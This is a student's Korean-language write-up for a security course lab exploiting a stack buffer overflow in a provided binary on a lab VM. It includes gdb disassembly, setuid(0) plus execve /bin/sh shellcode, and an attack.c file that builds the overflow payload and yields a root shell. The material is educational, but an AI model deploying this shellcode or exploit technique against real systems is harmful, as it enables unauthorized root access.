


정보보호개론 Assignment 3

2016310936 우승민

이번 과제는 Buffer Overflow를 이용하여 memory corruption attacks을 통해 shell의 root 권한을 사용할 수 있게 만드는 것입니다.

우선 과제에서 memory corruption attack에 사용될 program인 main 파일에 대해서 살펴보면



```
normaluser@hyoungshick-VirtualBox: ~  
normaluser@hyoungshick-VirtualBox:~$ ./main input.txt  
Input filename is input.txt  
abcdefghijklmnopqrstuvwxyz  
Successfully returned  
normaluser@hyoungshick-VirtualBox:~$
```

input.txt 파일을 2번째 인자로 넣어주면 input.txt 파일에 있는 string을 출력해주는 프로그램입니다.

그러나 아래와 같이 input.txt에 string의 크기를 크게 할 경우에는 segmentation fault가 발생하게 됩니다.

[illegible]

문제는 아마도 buffer의 크기를 초과하는 양을 input.txt에 넣어주었기 때문일 것이고, 따라서 가장 처음 해야 할 것은 main에서 사용한 buffer의 크기를 찾는 것입니다.

그러기 위해 main 파일을 gdb를 사용하여 보면 아래와 같이 이루어져 있습니다.

```
normaluser@hyoungshick-VirtualBox:~$ gdb -q main
Reading symbols from main...(no debugging symbols found)
(gdb) disas main
Dump of assembler code for function main:
0x0804854b <+0>:    lea    0x4(%esp),%ecx
0x0804854f <+4>:    and    $0xffffffff0,%esp
0x08048552 <+7>:    pushl  -0x4(%ecx)
0x08048555 <+10>:   push  %ebp
0x08048556 <+11>:   mov    %esp,%ebp
0x08048558 <+13>:   push  %ecx
0x08048559 <+14>:   sub    $0x874,%esp
0x0804855f <+20>:   mov    %ecx,%eax
0x08048561 <+22>:   cmpl   $0x2,(%eax)
0x08048564 <+25>:   je     0x8048580 <main+53>
0x08048566 <+27>:   sub    $0xc,%esp
0x08048569 <+30>:   push  $0x80486f0
0x0804856e <+35>:   call   0x80483f0 <puts@plt>
0x08048573 <+40>:   add    $0x10,%esp
0x08048576 <+43>:   sub    $0xc,%esp
0x08048579 <+46>:   push  $0x1
0x0804857b <+48>:   call   0x8048400 <exit@plt>
0x08048580 <+53>:   mov    0x4(%eax),%eax
0x08048583 <+56>:   add    $0x4,%eax
0x08048586 <+59>:   mov    (%eax),%eax
0x08048588 <+61>:   sub    $0x4,%esp
0x0804858b <+64>:   push  $0x80
0x08048590 <+69>:   push  %eax
0x08048591 <+70>:   lea    -0x86e(%ebp),%eax
0x08048597 <+76>:   push  %eax
0x08048598 <+77>:   call   0x8048430 <strncpy@plt>
0x0804859d <+82>:   add    $0x10,%esp
0x080485a0 <+85>:   test   %eax,%eax
0x080485a2 <+87>:   jne    0x80485be <main+115>
0x080485a4 <+89>:   sub    $0xc,%esp
0x080485a7 <+92>:   push  $0x804871e
0x080485ac <+97>:   call   0x80483f0 <puts@plt>
0x080485b1 <+102>:  add    $0x10,%esp
0x080485b4 <+105>:  sub    $0xc,%esp
0x080485b7 <+108>:  push  $0x1
0x080485b9 <+110>:  call   0x8048400 <exit@plt>
0x080485be <+115>:  sub    $0x8,%esp
0x080485c1 <+118>:  lea    -0x86e(%ebp),%eax
0x080485c7 <+124>:  push  %eax
0x080485c8 <+125>:  push  $0x8048732
```

```
0x080485cd <+130>:  call   0x80483c0 <printf@plt>
0x080485d2 <+135>:  add    $0x10,%esp
0x080485d5 <+138>:  sub    $0x8,%esp
---Type <return> to continue, or q <return> to quit---
0x080485d8 <+141>:  push  $0x8048748
0x080485dd <+146>:  lea    -0x86e(%ebp),%eax
0x080485e3 <+152>:  push  %eax
0x080485e4 <+153>:  call   0x8048420 <fopen@plt>
0x080485e9 <+158>:  add    $0x10,%esp
0x080485ec <+161>:  mov    %eax,-0xc(%ebp)
0x080485ef <+164>:  pushl  -0xc(%ebp)
0x080485f2 <+167>:  push  $0x7e2
0x080485f7 <+172>:  push  $0x1
0x080485f9 <+174>:  lea    -0x7ee(%ebp),%eax
0x080485ff <+180>:  push  %eax
0x08048600 <+181>:  call   0x80483d0 <fread@plt>
0x08048605 <+186>:  add    $0x10,%esp
0x08048608 <+189>:  sub    $0xc,%esp
0x0804860b <+192>:  lea    -0x7ee(%ebp),%eax
0x08048611 <+198>:  push  %eax
0x08048612 <+199>:  call   0x8048637 <cat_file>
0x08048617 <+204>:  add    $0x10,%esp
0x0804861a <+207>:  sub    $0xc,%esp
0x0804861d <+210>:  push  $0x804874a
0x08048622 <+215>:  call   0x80483f0 <puts@plt>
0x08048627 <+220>:  add    $0x10,%esp
0x0804862a <+223>:  mov    $0x1,%eax
0x0804862f <+228>:  mov    -0x4(%ebp),%ecx
0x08048632 <+231>:  leave
0x08048633 <+232>:  lea    -0x4(%ecx),%esp
0x08048636 <+235>:  ret
End of assembler dump.
```

여기서 주목해야할 곳은 네모로 표시한 부분입니다.

fopen 함수로 파일을 열고, fread함수로 파일을 읽은 뒤 마지막으로 put 함수에서 출력하는 것으로 보입니다.

여기서 put 이전에 있는 cat_file 함수에서 input.txt에 있는 내용을 buffer에 옮기는 것으로 추정됩니다.

cat_file의 함수를 확인하면 아래와 같습니다.

```
(gdb) disas cat_file
Dump of assembler code for function cat_file:
0x08048637 <+0>:    push    %ebp
0x08048638 <+1>:    mov     %esp,%ebp
0x0804863a <+3>:    sub     $0x28,%esp
0x0804863d <+6>:    sub     $0x8,%esp
0x08048640 <+9>:    pushl   0x8(%ebp)
0x08048643 <+12>:   lea     -0x20(%ebp),%eax
0x08048646 <+15>:   push    %eax
0x08048647 <+16>:   call    0x80483e0 <strcpy@plt>
0x0804864c <+21>:   add     $0x10,%esp
0x0804864f <+24>:   sub     $0x8,%esp
0x08048652 <+27>:   lea     -0x20(%ebp),%eax
0x08048655 <+30>:   push    %eax
0x08048656 <+31>:   push    $0x8048760
0x0804865b <+36>:   call    0x80483c0 <printf@plt>
0x08048660 <+41>:   add     $0x10,%esp
0x08048663 <+44>:   mov     $0x1,%eax
0x08048668 <+49>:   leave
0x08048669 <+50>:   ret
End of assembler dump.
```

여기서 표시한 부분인 sub instruction에서 buffer의 크기를 확인하게 됩니다.

0x28 = 40

확인을 하기 위해 input.txt 파일을 수정한 후 gdb를 통해 main파일을 실행하면

[illegible]

현재 0을 36번 입력한 후 1234를 input.txt에 넣어주었고 이를 gdb를 사용하여 mian을 실행한 것입니다. 0의 ascii code가 0x30 이므로 현재 eip의 값인 0x34333231은 1234로 덮어 씌어 졌다는 것을 알 수 있고, offset이 40이 맞다는 것을 확인 할 수 있습니다.

과제의 목표는 root 권한으로 shell을 실행하는 것이므로, input.txt에 들어가야 하는 내용은

dummy 글자 36 + 이동할 주소 + nop*? + shellcode 로 이루어져야 합니다.

이렇게 하는 eip가 덮어 쓰여지는 부분을 이동할 주소로 만들어주고, shellcode를 실행하여 root 권한으로 shell을 실행할 수 있도록 한 것입니다. 여기서 nop의 역할은 이동할 주소의 위치에 넓게 nop을 써주면, 그 부분을 넘어가서 shellcode를 실행할 수 있기 때문입니다.

현재 과제 pdf에서 주어진 shellcode는 아래와 같이 이루어져 있으며, 이는 root 권한을 얻는 부분이 없습니다.

```
shellcode.nasm
xor eax , eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
```

```
normaluser@hyoungshick-VirtualBox: ~
shellcode.o:      file format elf32-i386

Disassembly of section .text:

00000000 <.text>:
 0:  31 c0          xor     eax,eax
 2:  50             push    eax
 3:  68 2f 2f 73 68 push    0x68732f2f
 8:  68 2f 62 69 6e push    0x6e69622f
 d:  89 e3          mov     ebx,esp
 f:  50             push    eax
10:  89 e2          mov     edx,esp
12:  53             push    ebx
13:  89 e1          mov     ecx,esp
15:  b0 0b          mov     al,0xb
17:  cd 80          int     0x80
```

따라서 root 권한을 얻기 위해서 setuid(0)을 실행하는 부분이 추가 되어야합니다.

system call table에서 사용할 함수인 `execve`와 `setuid`의 number를 보면 아래와 같이 0x0b, 0x17인 것을 알 수 있습니다.

11	<code>execve</code>	man/ cs/	0x0b
12	<code>chdir</code>	man/ cs/	0x0c
13	<i>not implemented</i>		0x0d
14	<code>mknod</code>	man/ cs/	0x0e
15	<code>chmod</code>	man/ cs/	0x0f
16	<code>lchown</code>	man/ cs/	0x10
17	<i>not implemented</i>		0x11
18	<i>not implemented</i>		0x12
19	<code>lseek</code>	man/ cs/	0x13
20	<code>getpid</code>	man/ cs/	0x14
21	<code>mount</code>	man/ cs/	0x15
22	<i>not implemented</i>		0x16
23	<code>setuid</code>	man/ cs/	0x17

과제에서 주어진 assembly에 `setuid` 부분을 추가하여 제가 만든 것은 아래와 같습니다. 표시한 부분이 추가된 부분입니다.(`setuid(0)`)

```
normaluser@hyoungshick-VirtualBox:~$ objdump -d -M intel shellcode.o
shellcode.o:      file format elf32-i386

Disassembly of section .text:

00000000 <.text>:
 0: 31 c0          xor     eax,eax
 2: 89 c3          mov     ebx,eax
 4: b0 17          mov     al,0x17
 6: cd 80          int     0x80
 8: 5b            pop     ebx
 9: 31 c0          xor     eax,eax
 b: 50            push    eax
 c: 68 2f 2f 73 68 push    0x68732f2f
11: 68 2f 62 69 6e push    0x6e69622f
16: 89 e3          mov     ebx,esp
18: 50            push    eax
19: 89 e2          mov     edx,esp
1b: 53            push    ebx
1c: 89 e1          mov     ecx,esp
1e: b0 0b          mov     al,0xb
20: cd 80          int     0x80
```

0*36 + FFFFFFFF + nop * 400 + shellcode을 입력해 준 후 gdb로 실행하면

위와 같이 나오고, 그 후 esp의 기록을 확인합니다.

표시한 부분부터 nop 이외 값이 출력되는 것을 알 수 있습니다.

따라서 표시된 부분 위 부분에서 주소를 지정하면 됩니다.

이제 필요한 것을 모두 구했으므로 이를 바탕으로 input.txt에 넣어서 main을 실행 합니다.

[illegible]

id instruction 을 통해 확인해보면, root 권한을 얻었다는 것을 확인할 수 있습니다.

이제 이를 바탕으로 attack.c code를 작성하면

```

attack.c      x
shellcode.nasm  x

#include <stdio.h>
#include <stdlib.h>

char ans[] = "\x31\xC0\x89\xC3\xB0\x17\xCD\x80\x5B\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
//34

int main(){
    FILE *fpOut;

    fpOut = fopen("input.txt", "wb");
    unsigned char ch;

    for(int i=0; i<36; i++){
        ch = '0';
        fwrite(&ch, sizeof(ch), 1, fpOut);
    }
}

```

먼저 shellcode를 ans라는 char형 array에 저장하고, main문에서 "input.txt" 파일을 열어줍니다. 그 후 처음 dummy 부분인 0을 36번 반복하여 입력합니다.

```

ch = '\x10';
fwrite(&ch, sizeof(ch), 1, fpOut);
ch = '\xe7';
fwrite(&ch, sizeof(ch), 1, fpOut);
ch = '\xff';
fwrite(&ch, sizeof(ch), 1, fpOut);
ch = '\xbf';
fwrite(&ch, sizeof(ch), 1, fpOut);

for(int i=0; i<400; i++){
    ch = '\x90';
    fwrite(&ch, sizeof(ch), 1, fpOut);
}

for(int i=0; i<34; i++){
    ch = ans[i];
    fwrite(&ch, sizeof(ch), 1, fpOut);
}

fclose(fpOut);
}

```

그 후 주소에 해당하는 부분을 하나씩 입력해준 후 nopt를 400번 입력하고, 마지막으로 ans에 저장한 shellcode를 순서대로 파일에 입력해줍니다.

마지막으로 attack.c code를 바탕으로 memory corruption attack을 실행한 화면입니다.

```

normaluser@hyoungshick-VirtualBox:~$ ls
attack.c      Documents    examples.desktop  Music      shellcode.nasm  Videos
Desktop       Downloads   main              Pictures   shellcode.o
disable_aslr  enable_aslr  main_guard        Public     Templates
normaluser@hyoungshick-VirtualBox:~$ gcc -o attack attack.c
normaluser@hyoungshick-VirtualBox:~$ ./attack
normaluser@hyoungshick-VirtualBox:~$ ./main input.txt
Input filename is input.txt
# ls
Desktop    Music    Templates  attack.c    examples.desktop  main_guard
Documents  Pictures Videos     disable_aslr input.txt          shellcode.nasm
Downloads  Public   attack     enable_aslr  main              shellcode.o
# id
uid=0(root) gid=1001(normaluser) groups=1001(normaluser)
# 

```

저의 경우는 ASLR을 disable할 경우에만 정상적으로 실행됩니다.(주소를 지정해 주었기 때문에)